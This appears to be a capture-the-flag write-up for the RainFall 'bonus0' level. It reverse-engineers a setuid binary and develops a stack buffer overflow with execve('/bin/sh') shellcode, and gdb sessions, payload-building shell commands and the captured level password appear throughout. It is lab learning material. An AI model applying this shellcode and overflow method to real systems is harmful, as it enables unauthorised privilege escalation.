# BONUS0:

```
bonus0@RainFall:~$ ls -l
total 8
-rwsr-s---+ 1 bonus1 users 5566 Mar  6  2016 bonus0
bonus0@RainFall:~$ ./bonus0
 -
c
 -
coucou
c coucou
bonus0@RainFall:~$ ./bonus0
 -
1
 -
2
1 2
bonus0@RainFall:~$ ./bonus0
 -
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccc
 -
3333333333333333333333333333333333333333333333333333333333333333333333333333
3333333333333333
cccccccccccccccccccc3333333333333333333333 3333333333333333333333
Segmentation fault (core dumped)
bonus0@RainFall:~$
```

Same process:
Strings:

```
→  Debug_files strings bonus0
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
strcpy
strncpy
puts
read
strcat
strchr
__libc_start_main
GLIBC_2.0
PTRh@
P[_]
UWVS
[^_]
;*2$"
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.symtab
.strtab
```

Objdump -d:

```
080485a4 <main>:
 80485a4:       55                      push   %ebp
 80485a5:       89 e5                   mov    %esp,%ebp
 80485a7:       83 e4 f0                and    $0xfffffff0,%esp
 80485aa:       83 ec 40                sub    $0x40,%esp
 80485ad:       8d 44 24 16             lea    0x16(%esp),%eax
 80485b1:       89 04 24                mov    %eax,(%esp)
 80485b4:       e8 65 ff ff ff          call   804851e <pp>
 80485b9:       8d 44 24 16             lea    0x16(%esp),%eax
 80485bd:       89 04 24                mov    %eax,(%esp)
 80485c0:       e8 eb fd ff ff          call   80483b0 <puts@plt>
 80485c5:       b8 00 00 00 00          mov    $0x0,%eax
 80485ca:       c9                      leave
 80485cb:       c3                      ret
```

```
0804851e <pp>:
 804851e:       55                      push   %ebp
 804851f:       89 e5                   mov    %esp,%ebp
 8048521:       57                      push   %edi
 8048522:       53                      push   %ebx
 8048523:       83 ec 50                sub    $0x50,%esp
 8048526:       c7 44 24 04 a0 86 04    movl   $0x80486a0,0x4(%esp)
 804852d:       08
 804852e:       8d 45 d0                lea    -0x30(%ebp),%eax
 8048531:       89 04 24                mov    %eax,(%esp)
 8048534:       e8 7b ff ff ff          call   80484b4 <p>
 8048539:       c7 44 24 04 a0 86 04    movl   $0x80486a0,0x4(%esp)
 8048540:       08
 8048541:       8d 45 e4                lea    -0x1c(%ebp),%eax
 8048544:       89 04 24                mov    %eax,(%esp)
 8048547:       e8 68 ff ff ff          call   80484b4 <p>
 804854c:       8d 45 d0                lea    -0x30(%ebp),%eax
 804854f:       89 44 24 04             mov    %eax,0x4(%esp)
 8048553:       8b 45 08                mov    0x8(%ebp),%eax
 8048556:       89 04 24                mov    %eax,(%esp)
 8048559:       e8 42 fe ff ff          call   80483a0 <strcpy@plt>
 804855e:       bb a4 86 04 08          mov    $0x80486a4,%ebx
 8048563:       8b 45 08                mov    0x8(%ebp),%eax
 8048566:       c7 45 c4 ff ff ff ff    movl   $0xffffffff,-0x3c(%ebp)
 804856d:       89 c2                   mov    %eax,%edx
 804856f:       b8 00 00 00 00          mov    $0x0,%eax
 8048574:       8b 4d c4                mov    -0x3c(%ebp),%ecx
 8048577:       89 d7                   mov    %edx,%edi
 8048579:       f2 ae                   repnz scas %es:(%edi),%al
 804857b:       89 c8                   mov    %ecx,%eax
 804857d:       f7 d0                   not    %eax
 804857f:       83 e8 01                sub    $0x1,%eax
 8048582:       03 45 08                add    0x8(%ebp),%eax
 8048585:       0f b7 13                movzwl (%ebx),%edx
 8048588:       66 89 10                mov    %dx,(%eax)
 804858b:       8d 45 e4                lea    -0x1c(%ebp),%eax
 804858e:       89 44 24 04             mov    %eax,0x4(%esp)
 8048592:       8b 45 08                mov    0x8(%ebp),%eax
 8048595:       89 04 24                mov    %eax,(%esp)
 8048598:       e8 f3 fd ff ff          call   8048390 <strcat@plt>
 804859d:       83 c4 50                add    $0x50,%esp
 80485a0:       5b                      pop    %ebx
 80485a1:       5f                      pop    %edi
 80485a2:       5d                      pop    %ebp
 80485a3:       c3                      ret
```

```
080484b4 <p>:
 80484b4:       55                      push   %ebp
 80484b5:       89 e5                   mov    %esp,%ebp
 80484b7:       81 ec 18 10 00 00       sub    $0x1018,%esp
 80484bd:       8b 45 0c                mov    0xc(%ebp),%eax
 80484c0:       89 04 24                mov    %eax,(%esp)
 80484c3:       e8 e8 fe ff ff          call   80483b0 <puts@plt>
 80484c8:       c7 44 24 08 00 10 00    movl   $0x1000,0x8(%esp)
 80484cf:       00
 80484d0:       8d 85 f8 ef ff ff       lea    -0x1008(%ebp),%eax
 80484d6:       89 44 24 04             mov    %eax,0x4(%esp)
 80484da:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 80484e1:       e8 9a fe ff ff          call   8048380 <read@plt>
 80484e6:       c7 44 24 04 0a 00 00    movl   $0xa,0x4(%esp)
 80484ed:       00
 80484ee:       8d 85 f8 ef ff ff       lea    -0x1008(%ebp),%eax
 80484f4:       89 04 24                mov    %eax,(%esp)
 80484f7:       e8 d4 fe ff ff          call   80483d0 <strchr@plt>
 80484fc:       c6 00 00                movb   $0x0,(%eax)
 80484ff:       8d 85 f8 ef ff ff       lea    -0x1008(%ebp),%eax
 8048505:       c7 44 24 08 14 00 00    movl   $0x14,0x8(%esp)
 804850c:       00
 804850d:       89 44 24 04             mov    %eax,0x4(%esp)
 8048511:       8b 45 08                mov    0x8(%ebp),%eax
 8048514:       89 04 24                mov    %eax,(%esp)
 8048517:       e8 d4 fe ff ff          call   80483f0 <strncpy@plt>
 804851c:       c9                      leave
 804851d:       c3                      ret
```

Reversed source code:

```c
#include <unistd.h>
#include <string.h>
#include <stdio.h>

char    *p(void *arg1, void *arg2)
{
// stackframe ebp = 0xbffff688
// &arg1 = 0xbffff690
//  arg1 = 0xbffff6b8   arg1 = 0xbffff6cc
// &arg2 = 0xbffff694
//  arg2 = 0x080486a0
    char s[0x1018]; //0xbffff688 -> 0xbfffe680: 0xbfffe680

    puts(arg2); // " - "
    read(0, s, 0x1000);

    char *s_eol =  strchr(s, '\n');
    *s_eol = '\0';

    return strncpy(arg1, s, 0x14); //0xbffff6b8 = s(0x14)
                                   //0xbffff6cc = s(0x14)
}
```

```c
char    *pp(char *s1)
{
// stackframe ebp = 0xbffff6e8
// &s1 = 0xbffff6f0
//  s1 = 0xbffff706
    char align[0x8]; //0xbffff6e8 -> 0xbffff6e4 -> 0xbffff6e0

    char ptr[0x50]; //0xbffff6e0 -> 0xbffff690 : 0xbffff690

//  void *ptr + 0x28; // 0xbffff6b8; // ebp - 0x30 : 0xbffff6b8
//  void *0x080486a0; //*a2 = ' - '
    p((void*)(ptr + 0x28), " - ");

//  void *ptr + 0x3c; // 0xbffff6cc
//  void *0x080486a0; //*a2 = ' - '
    p((void*)(ptr + 0x3c), " - ");

    strcpy(s1, (void*)(ptr + 0x28)); //0xbffff706 = a1

    int i = 0;
    while (s1[i])
        i++;
    s1[i]  = ' ';
    return strcat(s1, (void *)(ptr + 0x3c)); //eip in stack is at 0xbffff6ec
}
```

```
__attribute__((force_align_arg_pointer)) int    main()
{
// ebp = 0xbffff738
    char s1[0x10];
    char s2[0x2a]; //s2 = 0xbffff706

    pp(s2); //&s2 = 0xbffff6f0:
    puts(s2);
    return 0; //pop 0xbffff73c = jump at 0xb7e454d3
}
```

The strncpy() limit me on the size I can write to the stack of <pp>, because it will writes what's read for at most 0x14 octet. So I can not override *RET ADDRESS* on the stack of <pp>
Neither for <p>.  The 0x14 limit is too low also for re writing the content of pointer ** s1* at its position in the stack.
So the strcpy() will still be at an address 0x36 oct3t far from the location of the returning address of the main (its *eip*). When 0x14 * 2 + 1 = 0x29...
So the strcpy() still copy on the same address s1. And it will copy from **(ptr + 0x28)** that can be max 0x14 ***WHICH MEAN*** that if the string read **is longer than 0x14**, a terminated **'\0' would not be added**

**THE thing** is that the address where the second strNcpy() stores the read buffer is at an address exactly 0x14 octet further (ptr + 0x28) + 0x14 = (ptr + 0x3c)
This is how I can extend the size max of whats stored in s1 by strcpy()
Max is now 0x28.

```
bonus0@RainFall:~$ readelf -l bonus0

Elf file type is EXEC (Executable file)
Entry point 0x8048400
There are 8 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
  INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x007f8 0x007f8 R E 0x1000
  LOAD           0x0007f8 0x080497f8 0x080497f8 0x00114 0x0011c RW  0x1000
  DYNAMIC        0x00080c 0x0804980c 0x0804980c 0x000c8 0x000c8 RW  0x4
  NOTE           0x000148 0x08048148 0x08048148 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x0006a8 0x080486a8 0x080486a8 0x00044 0x00044 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .g
nu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_
frame_hdr .eh_frame
   03     .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07
bonus0@RainFall:~$
```

Ok I was wondering how to do if the stack was not executable. Another problem now is to fflush stdin 0x1000 + 0x1000.

My goal is to write 54 chars to reach the target address, then write the address i want to return on form the main.

*WHAT DO I EVEN WRITE ON STDIN ?*

The goal : 0xbffff73c

strcpy() max size

0xbffff706 + 0x28 = 0xbffff72e

/

0xbffff706 + 0x14 = 0xbffff71a, + 0x13 = 0xbffff72d, + 0x1 = 0xbffff72e, + 0x11 = 0xbffff72c

0xbffff72e + 1 = 0xbffff72f

0xbffff72f + 0x14 = 0xbffff743

**The thing is that is I want to place correctly my octet, I have to write the return address of 0xbffff706 at a position that will make it store at 0xbffff73c.**

**BUT last octet copied are the same that the 20th octet copied....**

The opcode to execve(/bin/sh):

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 len 25:

0x14 + 0x13 + 1 + 0x13 = 54 + address + 1

20 op + (5 op + 9 nop + 4 addr + 1 nop) + 1 + (5op + 9nop + 4 addr + 1 nop) = 54 + address + 1

So for my first read I need the beggining of its injection need to be : (0x14 * opcodes + 0xfec * nop) + (0x5 * op + 9 * nop + 0x4 * addr * 1 nop)
So the chain will be :

('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xa' + '\x00' * 0xfeb + '\xe1\xb0\x0b\xcd\x80' +
'\x31\x31\x31' + '\x06\xf7\xff\xbf' + '\x0a')

**!** Oh and I need to place a '\n' in both read chains **!**

**!** And be careful where to place it because it will be turned into a '\0' and stop earlier the strcpy() **!**

It is supposed to work :

```
bonus0@RainFall:~$ hexdump /tmp/b0
0000000 c031 6850 2f2f 6873 2f68 6962 896e 50e3
0000010 e289 8953 310a 3131 3131 3131 3131 3131
0000020 3131 3131 3131 3131 3131 3131 3131 3131
*
0001000 b0e1 cd0b 3080 3030 3030 3030 3030 f706
0001010 bfff 0a30
0001014
bonus0@RainFall:~$
```

```
Breakpoint 2, 0x080485cb in main ()
(gdb) disas
Dump of assembler code for function main:
   0x080485a4 <+0>:     push   %ebp
   0x080485a5 <+1>:     mov    %esp,%ebp
   0x080485a7 <+3>:     and    $0xfffffff0,%esp
   0x080485aa <+6>:     sub    $0x40,%esp
   0x080485ad <+9>:     lea    0x16(%esp),%eax
   0x080485b1 <+13>:    mov    %eax,(%esp)
   0x080485b4 <+16>:    call   0x804851e <pp>
   0x080485b9 <+21>:    lea    0x16(%esp),%eax
   0x080485bd <+25>:    mov    %eax,(%esp)
   0x080485c0 <+28>:    call   0x80483b0 <puts@plt>
   0x080485c5 <+33>:    mov    $0x0,%eax
   0x080485ca <+38>:    leave
=> 0x080485cb <+39>:    ret
End of assembler dump.
(gdb) x $esp
0xbffff73c:     0xbffff706
(gdb) x/20xw 0xbffff706
0xbffff706:     0x6850c031      0x68732f2f      0x69622f68      0x50e3896e
0xbffff716:     0x8953e289      0xcd0bb0e1      0x30303080      0x30303030
0xbffff726:     0xf7063030      0x2030bfff      0xcd0bb0e1      0x30303080
0xbffff736:     0x30303030      0xf7063030      0x0030bfff      0xf7d40000
0xbffff746:     0xf7dcbfff      0xc858bfff      0x0000b7fd      0xf71c0000
(gdb)
```

```
(gdb) c
Continuing.
process 11763 is executing new program: /bin/dash
[Inferior 1 (process 11763) exited normally]
(gdb)
```

## BUT NOT:

```
bonus0@RainFall:~$ cat /tmp/b0 - | ./bonus0
 -
 -
1Ph//shh/bin PS
                    `0000000000000 
                                    `0000000000000
pwd
Segmentation fault (core dumped)
bonus0@RainFall:~$
```

Let’s maybe write our payload in another place in the stack ?

https://shell-storm.org/shellcode/files/shellcode-752.php
Ok took another a set of opcode online to check if it was that and it worked !!:

\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80 len 21

```
bonus0@RainFall:~$ echo -en '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x0a' > /tmp/b0; for i in {1..4075}; do echo -en '\x31'>> /tmp/b0; done ; echo -en '\x80\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x06\xf7\xff\xbf\x30\x0a' >> /tmp/b0
bonus0@RainFall:~$ hexdump /tmp/b0
0000000 c931 e1f7 6851 2f2f 6873 2f68 6962 896e
0000010 b0e3 cd0b 310a 3131 3131 3131 3131 3131
0000020 3131 3131 3131 3131 3131 3131 3131 3131
*
0001000 3080 3030 3030 3030 3030 3030 3030 f706
0001010 bfff 0a30
0001014
bonus0@RainFall:~$ cat /tmp/b0 - | ./bonus0
 -
 -
1Qh//shh/bin
                `0000000000000000 0000000000000000
whoami
bonus1
cat /home/user/bonus1/.pass
cd1f77a585965341c37a1774a1d1686326e1fc53aaa5459c840409d4d06523c9
```

Flag:
cd1f77a585965341c37a1774a1d1686326e1fc53aaa5459c840409d4d06523c9